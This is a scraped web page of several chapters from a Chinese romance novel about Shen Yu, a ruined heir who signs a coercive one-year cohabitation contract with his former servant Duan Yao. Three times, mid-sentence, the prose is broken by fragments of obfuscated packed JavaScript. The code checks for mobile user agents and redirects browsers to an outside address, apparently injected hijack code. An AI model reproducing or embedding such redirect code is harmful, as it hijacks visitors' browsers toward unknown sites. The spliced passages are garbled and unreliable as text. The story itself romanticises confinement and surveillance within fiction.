嘴唇上似乎还残留着手指温热的触感,沈玉仔细回想刚才段尧说的每一个字,终于后知后觉地明白过来,段尧究竟是打算怎么报复他了。 八年前,任性娇纵的沈小少爷第一次见到少年段尧时,抬起一只手,指着他说:“我不管,我就要他。” 一句话,段尧被迫成了小少爷的贴身男仆。 风水轮流转,如今也该是他还债的时候了。 想通后,沈玉费劲扒拉地翻身下床,先去卫生间洗漱干净,换上自己的旧T恤和短裤。 换衣服时他对着镜子看了眼锁骨的位置,睡前被段尧咬出来的牙印还在,好在没有红肿发炎,只是用手触碰时还有轻微的刺疼感。 这下好了,锁骨的旧伤还没好,屁股上又添了新痛。 沈玉打开房门,由于屁股疼,下楼的姿势都不是很自然。 幸好楼下餐厅没有人,只在餐桌上摆着丰盛的西式早餐,还有一盘洗净切好的水果拼盘。 沈玉以前喜欢吃西式早餐,但这几年经常早上来不及上课或者兼职,就在楼下那家据老板说开了二十年的早餐店买两个包子和一杯豆浆,边吃边赶路,实惠又方便。 但眼前这桌早餐会不会太丰盛了点?难道是把他当成猪了,想等养肥了再杀? 沈玉莫名其妙地笑了下,其实段尧人还挺好的,至少愿意让他做个饱死鬼。 他拉开椅子落座,火辣辣的臀尖刚一挨到椅面,又痛得他倒吸一口凉气。 沈玉完全忘记了几秒前还在夸人挺好,又开始在心里偷偷骂段尧,骂来骂去还是那几个词。 骂完后他拿起一块培根芝士卷咬了一口,隐约觉得味道有点熟悉。 随后他又摇了摇头,将这个不可能的念头抛开了。 沈玉吃得差不多时,身后忽然响起一道熟悉的声音:“小少爷!” 一转脸,他看见一个年约五十多岁的中年女人,面相很和善,看向他的眼睛里闪烁着泪光。 沈玉怔了足足有十多秒,猛地推开椅子跑向对方,动作太急以至于膝盖撞到了桌角,发出一声闷响。 但他根本顾不上膝盖痛,一下子扑进中年女人的怀里,说话声音都在抖:“容姨......我以为、我以为再也看不到你了......” 容姨张开双臂紧紧抱住他,一时间老泪纵横:“小少爷,容姨也没想到有生之年还能再见到小少爷......” 沈玉母亲去世的早,可以说他是容姨一手带大的,为此容姨一辈子没有结婚生子,将他视如己出,他一直认为自己会给容姨养老送终。 直到五年前发生的那件事,带走了他生命中最后的亲人,将他的生活搅得天翻地覆,他和容姨也有整整五年没见过面了。 两人抱了好一会儿,容姨才松开怀里的小少爷,给他擦了擦脸上的眼泪:“先不说了小少爷,段先生还在书房等你呢。” 沈玉有一肚子的话想说,但在容姨的催促下,只好先去找段尧。 他磨磨蹭蹭地走到书房门口,踌躇了片刻,还是敲响了书房门。 里面传来一道低冷的声音:“进。” 沈玉推开书房的门,看见段尧正坐在书桌后面,手上拿着一份文件。 他望向沈玉有明显哭过痕迹的脸,淡淡问道:“见过容姨了?” “见到了。”沈玉走进去,忍不住问道,“容姨怎么会在这里?” “你觉得呢?”段尧冷笑一声,“这些年容姨四处找不见你人影,后来在新闻上看见我的消息,就找到我这里来了。” 沈玉咬了咬下唇:“我不知道——” “你知道什么?”段尧打断了他的话,“过来。” 沈玉听话地朝书桌走近了几步,发自内心地道谢:“无论如何,谢谢你愿意收留容姨。” “用不着你谢我。”段尧并不领他的感谢,“容姨一直待我很好,这是我应该做的。” 一提到以前,沈玉又不敢说话了。 当年沈家所有人都喜欢长得好看还特别优秀的少年段尧,容姨当然也不例外。只有他从小被惯坏了,表达喜欢的方式一言难尽。 段尧没继续这个话题,将手上的文件递给他。 沈玉接过文件,低头一看,封面上赫然印着几个大字:《同居协议》。 他一时愣住了,段尧开口道:“别误会,协议只有这么写才有效。” 沈玉心下了然,现在是法治社会,任何违反公序良俗的协议都是无法生效的,所以只能冠上同居协议的名头。 由此看来,段尧这次真是做好了充足的准备。 沈玉翻开文件,上面写着甲方段尧,乙方沈玉,下面是具体条款。 第一条,乙方需要在甲方指定的住所居住满一年。 第二条,乙方需要满足甲方所有的日常生活需求。 沈玉抬起眼眸,虚心求教:“什么叫满足所有的日常生活需求?” 段尧反问道:“你觉得呢?” 沈玉想回一句我不知道啊,你能不能说清楚点? 但他见段尧一副根本不想解释的样子,只能低下头继续阅读下面的条款。 第三条,协议期内,乙方不得擅自离开甲方指定的住所,如需外出,需提前征求甲方的同意。 沈玉指着协议,再次发出质疑:“第三条是合法的吗?这不是在限制我的人身自由吗?” 段尧面无表情地回道:“你可以报警。” 沈玉被他一句话噎住了,假笑了两声:“哈哈,你比以前幽默多了。” 报警?报警说什么呢,说自己过去强迫人家当自己的男朋友,分手五年后又被前男友抓回来反向强制了? 警察大概会以为两人在玩什么情趣play,把他轰出警察局。 很快,沈玉看完了所有的协议内容,内心相当绝望。 这份协议完全就是旧社会奴隶的卖身契,上面的每一条都是霸王条款,他不仅没有一毛钱工资,如果他违反了以上任何一个条款,还要赔付两千万给段尧。 两千万曾经不过是沈玉的零花钱,但现在把他全身上下拆开来卖,都卖不到这个价钱。 当年他顶多是让段尧二十四小时随叫随到,如今这人做得比他更过分,果然是摇身一变,成了万恶的资本家。 “看完了吗?”段尧扔给他一支钢笔,“看完了就签。” 沈玉舔了舔干涩的嘴唇,试探着问道:“如果......我是说如果,我不签会怎么样?” 段尧没说话,但他的眼神已经说明了一切。 “好,我可以签,但我要加一个前提条件。”沈玉鼓起勇气和他谈条件,“履行这份协议的所有条款,必须在不影响我学业的情况下。” 段尧沉默了片刻,淡淡回道:“我以为你在国外拿到学位后才回来。” “呃......”说到学位,沈玉有些心虚,“你也知道的,我的英语除了口语外一塌糊涂,实在跟不上国外的课程。” 五年前他被紧急安排送出国,在国外浑浑噩噩地度过了两年,直到某天突然清醒过来,拿着仅剩的最后一笔钱买了回国的机票。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393091|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后来他又花了整整一年的时间学习,重新参加国内高考,勉强考上了一个还不错的大学,边上学边打工挣学费和生活费,下学期就要读大三了。 虽然比别人晚了三年,但这是他好不容易才得来的重新开始的机会,任何情况下他都不能再放弃。 “好。”段尧答应了,重新拿了一支笔,在协议的最后一页添加了新的条款。 沈玉看着他在纸上落下的字,心里有些感叹。 年少时段尧就写得一手极其漂亮的字,而他就恰好相反了,在纸上撒把米,鸡啄出来的字都比他写的好看。 段尧手写完最后一条协议,重新将文件推到他面前:“现在能签了?” 沈玉眨了眨眼睫,确认道:“一年协议期满后,我们就能两清了对吗?” 段尧的眼神突然变得很可怕:“你要跟我两清?” 沈玉立刻意识到自己说错话了,能不能两清,要看债主的态度,由不得他这个欠债人来决定。 他咬咬牙,拿起笔飞快地在后面签上自己的名字。 段尧目光牢牢锁定在他签字的手上,等他一停笔就拿起协议,看了一眼,随手放在一边:“行了,你出去吧。” 沈玉转身往外走,走了几步回过身:“我晚上要去酒吧兼职,这也需要提前跟你打报告吗?” 段尧头都没抬:“酒吧兼职不用去了。” “不行啊。”沈玉有点急了,“我下学期学费还没攒够,不去酒吧兼职我哪来的钱?” 段尧翻阅文件的手顿了一下,掀开眼皮:“学费的事你不用操心,协议期间只要好好履行你的义务就行了。” 沈玉:“......好。” 他转身往外走,走到门口忽然又停下来:“我上个月的工资还没结,我还是得回酒吧一趟。” 虽然钱不多,但每一分都是他辛辛苦苦端盘子换来的,一想到这钱会打水漂他的心就很痛。 “工资的事你也不用操心了,我会让人去给你结清。”段尧微一停顿,强调道,“一分钱都不会少你的。” “哦好。”这下沈玉终于放心了,很有礼貌地道谢,“谢谢。” 段尧目送他离开书房,片刻后,拿起刚才放在桌边的协议,打开一道上锁的抽屉放进去。 想了想,他又抽出下面的文件,将协议压到最底层盖住。 刚重新锁好抽屉,又被杀了个回马枪。 沈玉趴在门框后,只露出一颗毛茸茸的脑袋:“那个,我还有最最后一个问题。” 段尧惜字如金:“问。” 沈玉脸有点红,吞吞吐吐道:“关于协议里满足所有日常生活需求这一条,包不包括那方面……” 段尧:“哪方面?” “就那个啊……”沈玉用手指扣了扣门框,声音小得跟蚊子哼似的,“你知道我在说什么......” 以前他强迫段尧跟自己谈恋爱时,两人年纪都还小,他脑子里没什么不纯洁的想法,最大尺度也不过是有一次他趁段尧睡着时,偷偷亲了一口少年的脸颊。 但现在两人都长大了,作为一个身体健康的成年男人,万一段尧的日常生活需求里包括生理需求...... “嗯。”段尧应了声,“你是说,上床?” 沈玉脸颊上的热意蔓延至耳后根:“要不要说得这么直白?” 不论是五年前还是五年后,段尧一直都长着张高冷又禁欲的脸,看起来没什么世俗的欲望。 说实话他有点不太能接受这张冷冰冰的嘴里,说出这么不符合人设的话来。 段尧微微眯了下眼眸,语气变得意味不明:“你这么问,是在期待什么?” 5. 第 5 章 “没有没有!绝对没有!”沈玉坚决否认,头摇得像个小拨浪鼓。 他手忙脚乱地关上书房门,隔绝了那道似笑非笑的视线,然后飞也似地逃回房间,反手锁上门,把自己扔到床上。 他就不该多余问一嘴,反正段尧只是为了报复他,根本不会想跟他做那种情侣之间才会爱做的事吧…… 半晌后,沈玉冷静下来,想到刚才亲手签下的卖身契,顿时又感觉自己的未来一片黑暗。 这一年里段尧会怎么折腾他不说,万一协议结束后气还是没消,还是不愿意放过他,到时候他该怎么办呢? 沈玉将脸埋进枕头里,屁股又隐隐作痛起来。 算了,走一步看一步吧。 最艰难的时刻他都熬过来了,总不会比那时候更糟糕了。 午饭时间沈玉下楼去,探头探脑地四下找了一圈,没看见那道西装革履的身影。 “小少爷,你是在找段先生吗?”容姨端着一盘清蒸鲈鱼从厨房走出来,“段先生去公司了,中午不在家吃饭。” 沈玉瞬间松了一口气:“太好了。” 容姨有些困惑:“什么太好了?” “我的意思是,家里现在就剩我们两个人,我们终于可以好好说话了。”怕容姨多想,沈玉随口糊弄了一句,“容姨,我来帮你一起端菜吧。” 容姨摆了摆手:“你哪儿会端盘子呀,我自己来就行。” “我怎么不会端盘子了?”沈玉笑着跟上去,“你太小瞧我了容姨,我现在除了做饭什么都会。” 容姨脚步一顿,不知想到了什么,嗓音忍不住有些哽咽:“小少爷,你这些年肯定受了很多苦。” 眼见气氛不对,沈玉赶紧转移话题:“容姨,你今天中午做了糖醋排骨啊,我最爱吃这道菜了。” 容姨抬手抹了抹眼角,笑着应声:“是啊,你打小就爱吃我做的糖醋排骨,今天一定要多吃点。” 虽然中午只有两个人吃饭,但容姨还是做了一大桌子的菜,每一道都是小少爷以前最爱吃的。 沈玉看着面前堆成小山的碟子,嘴里是最熟悉的味道,眼眶克制不住地发酸。 他掩饰性地低下头,假装喝汤,一滴滚圆的眼泪滴进了汤碗里,溅起一圈涟漪。 “多吃点,小少爷。”容姨还在不停给他夹菜,“容姨老了,手艺退步了是不是?” “怎么会?”沈玉含着眼泪摇了摇头,“容姨做的菜天下第一好吃,我吃一百年都不会腻。” “小少爷的嘴还是这么甜。”容姨笑得满脸皱纹更明显了,“好吃就多吃点,以后容姨天天给你做。” 吃完午饭,容姨忙着收拾厨房,沈玉就靠在厨房门口跟她聊天。 也许是怕触及他的伤心事,容姨并没有主动询问他这五年里的经历,但是听说他正在读大学,高兴得很:“读大学好啊!现在有段先生了,小少爷你就安心地学习吧!” 沈玉点头:“我会的。” 段尧确实承诺会让他继续完成大学学业,还大方地承包了他的学费。 “段尧真是个很好的孩子,我们当年都没看走眼。”容姨忍不住感叹道。 沈玉笑了笑没说话,他没敢告诉容姨自己跟段尧真实的关系,不管是五年前还是五年后。 在容姨心里,段尧大概还是五年前那个质朴的沈家司机的儿子,出人头地后不忘顺手帮一把落魄的曾经的少东家。 容姨看着他欲言又止,最后只说了句:“小少爷,其实段先生这几年也很不容易。” 沈玉应声:“嗯,我知道。” 白手起家,仅仅五年时间,当年的清贫少年就一跃成为A市最年轻的亿万富豪,确实是很不容易。 “虽然段先生不说,但我知道他也找了你很久。”容姨用毛巾擦干净手上的水,“只是我们都没想到,小少爷你一直就在A市。” 沈玉开玩笑道:“这叫什么?这就叫灯下黑。” 他以为A市足够大,确实大到回国后他都没有遇见过熟悉的面孔,但眼下又变得很小,小到一个酒吧就让他们重逢了。 容姨也被逗乐了,笑着说:“不管怎么样,现在我们都团圆了就好。” 趁主人不在家,下午沈玉在别墅里四处逛了一圈。 这栋别墅自带两个小花园,还有私人泳池,但常住的人只有段尧和容姨,容姨说是段尧不喜欢家里有陌生人,每次家政保洁都是干完活马上就走了。 沈玉有些奇怪:“容姨,段叔为什么不跟段尧一起住呢?” “你段叔跟秦姨一起出去旅游了,环游世界。”容姨笑呵呵地回道,“你段叔辛苦了一辈子,好不容易退休了,儿子又有这么大的出息,这会儿正享受二人世界呢。” 沈玉也笑道:“他们也确实该好好享受人生了。” 其实段尧父母的人生经历也挺坎坷,当时秦家在A市算是有头有脸的家族,结果秦家大小姐偏偏爱上了家里年轻英俊的司机,而秦家早就给她找好了联姻对象,结果可想而知。 但秦大小姐是个超绝恋爱脑,铁了心要跟司机在一起,把秦家闹得鸡飞狗跳后双双出逃,秦老爷子一气之下跟她断绝了父女关系,并放出话来,谁要是敢用司机就是跟秦家作对。 最后是沈家收留了这对年轻的小夫妻,沈平海也就是沈玉的父亲,让段父在沈家继续当司机,这一当就是二十年。 段父内心一直对沈家充满感激,因此当年沈玉指名要段尧时,段父没有丝毫犹豫,直接命令儿子必须一切听从小少爷的安排。 “小少爷?”容姨见他沉默,唤了一声,“我带你继续转转?” “好。”沈玉回过神来,认真承诺道,“容姨,等我以后赚大钱了,我也带你去环游世界。” “好好好......”容姨被他哄得合不拢嘴,“容姨等着你呢,小少爷。” 沈玉逛着逛着,突然发现别墅还有一层地下室,但通道处上了锁,看起来神神秘秘的。 “小少爷,这间地下室段先生不让任何人进去。”容姨提醒道,“不过如果你想进去看看,等段先生回来你跟他说,他会同意的。” 沈玉脑海中莫名浮现出一个诡异的念头,连忙摇头:“不了不了,我一点都不感兴趣。” 他是看过恐怖电影的,恐怖电影里的地下室都藏着不可告人的秘密,但总有好奇心旺盛的人试图窥探,然后就再也出不来了。 万一这间地下室是段尧为了囚禁折磨他而专门打造的,那他主动去问,岂不是自投罗网、自寻死路? * 下午五点多时,沈玉收到了徐茂发来的微信消息。 徐茂:【小玉,你今天怎么还没来上班?睡过头了?】 沈玉:【对不起忘记告诉你了,我把酒吧的兼职辞掉了。】 徐茂:【什么时候的事?】 沈玉:【就今天......】 对面应该是在忙,安静了老半天才回复了一条新消息。 徐茂:【那你的学费怎么办,不是还差一点吗?】 徐茂:【我给你转的钱先收了吧,等以后手头松了再还我。】 沈玉看着聊天界面,觉得老天爷偶尔还是会对他泄露一点仁慈。 他跟徐茂是在酒吧兼职时认识的,两人年纪差不多大,很快就成了朋友。 徐茂高中毕业就辍学了,这几年辗转各个行业打工,不是没挣到钱,只是他家里还有一个常年卧病在床的母亲和正在读初中的妹妹,攒的那点钱全都寄回去了。 就是在这种情况下,徐茂还是愿意主动借钱给他。 沈玉:【你不是说酒吧兼职不适合我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393092|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,我听你的去找其他兼职了,别担心。】 沈玉:【等这边工作稳定下来了,我去找你玩。】 徐茂:【也好。】 徐茂:【那我先去忙了,保持联系。】 沈玉回复完最后一条消息,又想起他出租屋里还有东西没收拾。 虽然没什么值钱的东西,但有几样是他一直舍不得丢掉的,必须得找时间去拿回来,顺便跟房东退租。 晚餐段尧也没回来吃,沈玉猜测段总应该很忙,日理万机的那种。 但他既然已经签了那份卖身契,总该主动做点什么。 家务有保洁上门,做饭又有容姨在,那还有什么是他能做的事呢? 沈玉想了半天,默默在心里给自己列了个任务清单。 首先等晚上段尧回来,他一定要第一时间迎上去,给段总端茶倒水,捏肩捶背,尽职尽责地扮演一位优秀的男仆角色。 沈玉想好后就这么坐在客厅的沙发上,边看电视边等人回来。 电视剧里又在上演三生三世虐恋,演得撕心裂肺,但他没怎么看进去,不停地点亮手机屏幕,再扭头看看大门的方向。 一直等到九点多,连容姨都过来问他:“小少爷,段先生经常工作到很晚才会回来,你要不要先去睡呀?” 沈玉在沙发上换了个姿势:“容姨,你先去休息吧,我再等一会。” 容姨不禁露出欣慰的笑容:“没想到这么多年不见,你们俩感情还是这么好,一点都没生分。” “哈哈,是的。”沈玉干笑一声。 那可不是,他们俩的感情是真好,好到轮流给对方当仆人。 容姨叮嘱道:“那你再等一会儿,也别等太晚了。” “好的。”沈玉余光瞥见客厅上方的摄像头,忍不住问道,“容姨,段尧在家里装这么多摄像头干嘛?” “是吗?”容姨也有些惊讶,“之前没有呀,最近才装的吧?” 沈玉心里有数了,合着这摄像头是专门用来监视他的。 也不知道是为了防止他偷别墅里的东西还是干嘛,唯一值得庆幸的是,段尧没丧心病狂到在他的卧室也装上摄像头。 晚上十点半,别墅大门传来“滴”的一声。 段尧推门而入,玄关处的感应灯亮了起来,他脱下西装外套挂起来,换上拖鞋往里走。 他没有上楼,而是径直朝客厅沙发的方向走过去。 沈玉躺在沙发上睡着了,长长的眼睫毛安静垂下来,怀里抱了个抱枕,一双又白又长的腿交叠着蜷缩起来,睡着的模样很乖很惹人怜爱。 要是一直都像这么乖就好了,不会气他,也不会逃跑。 段尧冷峻的面容不自觉柔和下来,黑眸底下常年不化的冰也无声息地消融,里面有什么东西满的似乎快要溢出来了。 他就这样站在沙发前看了很久,久到眼珠子都有些酸胀了,才俯下身,动作小心地想将人抱起来。 睡梦中的沈玉哼唧一声,习惯性地抬起一条腿夹上抱枕。 他身上穿的短裤本就不长,这下连白生生的大腿根都暴露在段尧的视线里,往上连着圆润饱满的弧度。 段尧手上动作一顿,大脑不受控制地想起了那里的触感,软弹粘手,隔着布料指尖仿佛都能陷进去。 他闭了闭眼,试图压住心底猝然腾起的一股火。 怎么能睡得这么毫无防备,这些年在他看不见的地方,在别人面前也睡成这样吗? 片刻后,大手绕开了大腿根部,从膝弯处将沙发上的人抱起来,朝楼梯方向走去。 沈玉睡得很熟,自动在他怀里寻了一个舒服的姿势,柔软的脸颊轻轻蹭了蹭他颈侧的皮肤,像只亲人的小猫一样。 段尧浑身肌肉瞬间绷紧了,缓了好一会儿,才重新迈开脚步。 6. 第 6 章 沈玉一觉醒来,一时有点分不清此刻是白天还是晚上。 他迷迷糊糊地伸手去摸床头柜,摸到手机后点亮屏幕,时间是凌晨三点。 沈玉看了眼四周环境,一下子清醒过来。 不对啊,他不是在客厅边看电视边等段尧回来吗,怎么一转眼回到了卧室床上? 沈玉从床上坐起来,试图回想几个小时前发生了什么事,最后的记忆确实是他在楼下看电视,那他是怎么睡到床上来的? 难道他会梦游?还是说...... 是段尧回来了,顺手把他抱上来的? 无论是前者还是后者,沈玉都觉得挺可怕的。 他打了个哆嗦,掀开被子,光脚踩在地板上往门口走。 打开房门,走廊里很暗,只有隔壁主卧的门缝里透出来一点微弱的光。 沈玉犹豫了一下,蹑手蹑脚地往主卧门口走去。 之前在酒吧兼职下班晚,这个点他可能也还没睡,但段尧为什么凌晨三点还醒着呢? 沈玉站在门后,悄悄将门往后推开一点。 主卧有单独的露台,段尧正背对着房门站在露台上,整个人几乎都融在夜色里,只有指间那一点猩红明明灭灭。 沈玉微微怔了怔,终于明白他身上那股淡淡的烟草味来源于何处。 段尧是什么时候学会的抽烟? 明明以前他跟自己一样最讨厌烟味了,段叔偶尔抽两根烟都要躲起来偷偷抽,不敢被他发现。 沈玉站在门口,透过门缝看着那道高大沉默的背影,忽然觉得心脏像是被一只无形的大手轻轻攥了一下。 露台上的段尧吸了一口烟,似乎是被呛到了,低低咳嗽了几声,然后转过身来。 沈玉猛地往后退了一步,下意识屏住呼吸。 但好像已经迟了,段尧掐灭了烟头,径直朝门口走过来,一把将房门拉开。 四目相对,沈玉试图用微笑掩饰尴尬:“这么晚了,还没睡呢?” 段尧没回答他的问题,目光往下,落在他光着的脚上,皱起眉头:“怎么不穿鞋就跑出来了?” 可能是刚抽过烟,段尧的嗓子有点哑,低哑的嗓音听起来尤为性感。 沈玉耳尖微红,踩在地板上的脚趾悄悄蜷缩起来,像收起来的小猫爪子:“忘记了。” 他一双脚长得和他的人一样漂亮,脚背薄薄的,白得能看见皮肤下细细的青色血管,脚趾圆润饱满,指甲修剪得整整齐齐,趾尖泛着淡淡的粉色。 过去沈小少爷走路都恨不得有人背着,经常光脚踩在段尧的膝盖上,脚心嫩得戳一下就红了。 他的脚踝也很纤瘦,踝骨微微凸起,段尧只用两根手指就能松松圈住,然后小少爷就会不高兴地踹他,叫他快点滚。 “那个,我先回去睡觉了。”沈玉觉得面前的男人眼神好像有点不对劲,准备开溜,“你也早点休息,别熬太晚了。” 说完他转身就想跑,但段尧动作比他更快,几大步走过来,单手就给他拦腰扛到了肩膀上。 “哎?”沈玉低呼一声,薄薄一层的肚皮被宽阔健硕的肩头顶着,只觉硌得慌,“放我下来,我可以自己走回去的……” 段尧垂眸看了他一眼,什么也没说,朝隔壁卧室走去。 在沈玉看不见的视角里,向来冷硬的唇角微不可查地上扬了两个像素点。 沈玉像只被人拎起来的小猫,知道自己挣脱不掉,只能放弃抵抗,四肢也软绵绵地垂下去。 不过,段尧是什么时候把身材练得这么好了,他记得五年前两人之间的体型差明明还没有这么大啊。 肩膀好宽,胸前硬邦邦又有点软的是胸肌吧,手感应该很不错,如果他偷偷捏一下会不会被发现…… 就在沈玉满脑子胡思乱想时,段尧已经俯身将他放回了自己床上。 沈玉后背砸在柔软的床垫上,弹了一下,随后整个人都陷进被子里。 段尧看了他一眼,转身就要离开。 “等等......”沈玉忍不住开口叫住他,“刚才我不小心在沙发上睡着了,也是你给我抱——扛回来的吗?” 段尧没回头,只是侧过脸反问道:“难道是容姨?” 沈玉:“......” 这该死的冷幽默。 “如果你睡在沙发上感冒了,没人有时间照顾你。”段尧语气是一贯的冷漠,听不出什么情绪起伏,“还有,以后没事不用等我回来,不需要。” 说罢,再也没多看他一眼,迈开一双大长腿就走了。 沈玉想问的话堵在嗓子里来不及说,叹了口气,再躺回床上却怎么都睡不着了。 刚才有那么一瞬间他甚至动了一个念头,或许段尧并没有他想象中那么讨厌他。 但可惜的是,下一秒段尧就亲自戳破了他的幻想。 * 第二天早上,沈玉醒得很早,睡不着就干脆起床洗漱。 他下楼时,容姨已经在厨房里忙着准备早餐了。 沈玉走进去喊了声:“容姨,早上好。” “小少爷起来啦。”容姨转身笑着说道,“怎么起得这么早,容姨记得你以前上学时最爱赖床了,起床气还大得很。” 沈玉不由想起上高中的那三年,早上经常是段尧把他从被窝里半拖半抱出来,不然一学期他能迟到八百回。 很多时候还要承受他的起床气,被他踹了也只会一手握住他的脚踝,另一只手继续给他穿衣服。 这样看来,段尧当年真是被他奴役得太厉害了,现在怨气再大都是正常的,就算没有那份协议,他也应该做点什么来回报对方。 当然如果能顺便讨好一下债主,那是再好不过了。 想到这里,沈玉下定了主意:“容姨,我想给段尧做一顿早餐,你觉得怎么样?” 昨晚上等人在沙发上等睡着了,今早不如就做份早餐弥补下失误。 “小少爷,你要给段先生做早餐?”容姨一脸惊讶,“你不是说不会做饭吗?” “简单的应该行……吧?”沈玉底气不是很足,“容姨,段尧早上一般都吃什么呀?” 容姨不假思索地回道:“段先生早上一般吃得很简单,一杯咖啡,三明治加煎蛋,有时候也会加点培根和蔬菜。” “煎蛋啊,这个很简单。”沈玉一听,信心满满地保证道,“容姨,今天的早餐就交给我了。” 容姨表情相当迟疑,毕竟她记忆里的小少爷连厨房门朝哪边开都不清楚,现在真的能下厨房做饭吗? 但她又不想打击小少爷的积极性,只好采取鼓励的态度:“小少爷这么聪明,容姨相信你一定能做好的。” 沈玉看着容姨把食材准备好,摩拳擦掌道:“那容姨你先去歇一会儿,我自己一个人来就行。” “你确定可以吗?”容姨边走边回头,再三叮嘱道,“如果有任何问题,一定要及时喊我啊。” 沈玉点头挥手:“放心吧,容姨。” 厨房只剩下他一个人了,他立刻先从口袋里掏出手机,紧急查阅煎蛋教程。 头两年他在国外时,遇见了一个厨艺很好的华裔室友,对方承包了他的一日三餐,可惜后来那个室友把他所有值钱的东西都卷走了,只给他留下一张回国的机票。 回国后这几年,他不是在学校吃食堂,就是在兼职的地方吃快餐路边摊,最复杂的厨艺是煮泡面再加根火腿肠。 而现在,他正试图做人生中第一顿像样的早餐。 二十分钟多后,容姨走进厨房门,仿佛一脚踏进了战后现场。 沈玉转过脸:“我做好早餐了,段尧起床了吗?” “刚起来。”容姨四下环顾一圈,“小少爷,你先把早餐端给段先生吧,我来稍微收拾一下厨房。” “辛苦了,容姨。”沈玉端起托盘朝餐厅方向走过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393093|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 段尧正坐在餐桌旁,手上拿了杯咖啡在喝,听到脚步声后抬眸。 沈玉手里端着早餐,雪白的脸颊上有几道黑灰印子,看着像只小花猫,正献宝似的朝他笑起来:“我亲手做的早餐,你尝尝看味道怎么样?” 段尧没说话,看着人把餐盘摆到自己面前。 盘子里有一块摆成心形的不知名物体,两片烤糊了的勉强能辨认出是面包片,以及同样又焦又糊的几片培根。 段尧沉默了好几秒,指着那团稀碎的东西问道:“这是什么?” 沈玉脱口而出:“爱心煎蛋啊。” 段尧:“......” 沈玉貌似看见他的嘴角抽搐了一下,试图挽尊:“你别看卖相不怎么好看,但吃起来味道是一样的。” 他发誓他是严格按照网上教程来做的,步骤肯定是对的,结果应该也差不到哪里去吧? 但随着段尧沉默的时间加长,沈玉莫名心虚起来:“要不还是别吃了吧,我去让容姨再去做一份。” 他伸手去端餐盘,结果被一只修长有力的大手按住了。 “不用。”段尧面色冷淡,“不用重做了。” 沈玉收回手:“你是不是急着上班啊,容姨做起来很快的。” 段尧没理他,直接用手拿起一片培根,整片放进嘴里。 沈玉忐忑不安地站在一旁,小心翼翼地试探道:“能、能吃吗?” 段尧面不改色地嚼了几下,咽下去,在他充满期待的眼神中,给了四个字评价:“很有嚼劲。” “是吗?”沈玉觉得这个评价听起来还可以,伸手就要去拿剩下的培根,“我也尝尝好不好吃。” 段尧伸手挡住餐盘,用眼神制止了他的行为。 沈玉只好悻悻地收回手:“行,你自己吃吧。” 这人刚才还嫌他做的不好看呢,谁知道现在这么护食。 不过由此看来,他还是很有成为大厨的潜质的。 段尧保持着面瘫脸吃完了盘子里的东西,吃完后喝了整整一大杯水。 沈玉注意到了,自我检讨道:“是不是早餐做的有点咸了?我下次少放点盐啊。” 毕竟这是他严格意义上的第一次下厨,掌握不好盐的使用剂量是很正常的,以后跟着容姨多练练就好了。 段尧喝水动作一顿,没接他的话,只是提醒道:“我今晚要加班,不要等我。” “知道了,我不会等你的。”沈玉忍不住回了一句,“你昨晚说过了,我已经牢牢记在脑子里了。” 段尧放下水杯:“过来。” 沈玉不明所以,但还是绕过餐桌走过去:“怎么了?” 段尧没说话,只是抬起手朝那张小花猫脸伸过去。 沈玉以为他又要掐自己的脸,下意识往后躲了躲。 “别动。”段尧低声警告了一句。 沈玉无奈,只好重新俯下身,主动将自己的脸凑过去。 爱怎么捏就怎么捏吧,反正他现在是属橡皮泥的。 就在他凑近时,段尧的呼吸似乎凝滞了一秒,快得几乎捕捉不到。 下一秒,他若无其事地用指腹擦去沈玉脸上的黑灰痕迹,然后收回手。 “哎?”沈玉这才反应过来,“我脸上有脏东西吗?” “有。”段尧站起身来,“去洗把脸。” 沈玉:“......” 早说让他去洗脸不就好了,干什么还亲手给他擦脸,害他以为自己又说错什么话了。 吃完早餐后,段尧穿上西装外套,准备去公司。 沈玉站在门口送他上班,活像个乖顺的小媳妇儿:“一路顺风,段先生。” 段尧看他一眼,又给了容姨一个眼神。 容姨会意,跟在后面走出别墅大门:“段先生,您是有什么吩咐吗?” 段尧淡淡开口:“从今天开始,严禁小少爷进厨房。” 7. 第 7 章 接下来的几天,沈玉一直乖乖待在别墅里没出门。 段尧工作是真的很忙,每天早出晚归,不怎么能和他碰上面,碰上了也不怎么搭理他,好像并不是很愿意看见他这个人。 他觉得段尧应该是还没想好要怎么折磨他,所以暂时放了他一马。 可段尧又不是放马的,总归不会放他一马又一马。 沈玉列下的优秀男仆计划没什么施展的空间,不过他这几年忙碌惯了,乍一闲下来觉得很不习惯,于是琢磨着趁此机会好好练练厨艺,结果被容姨非常严肃地拒绝了。 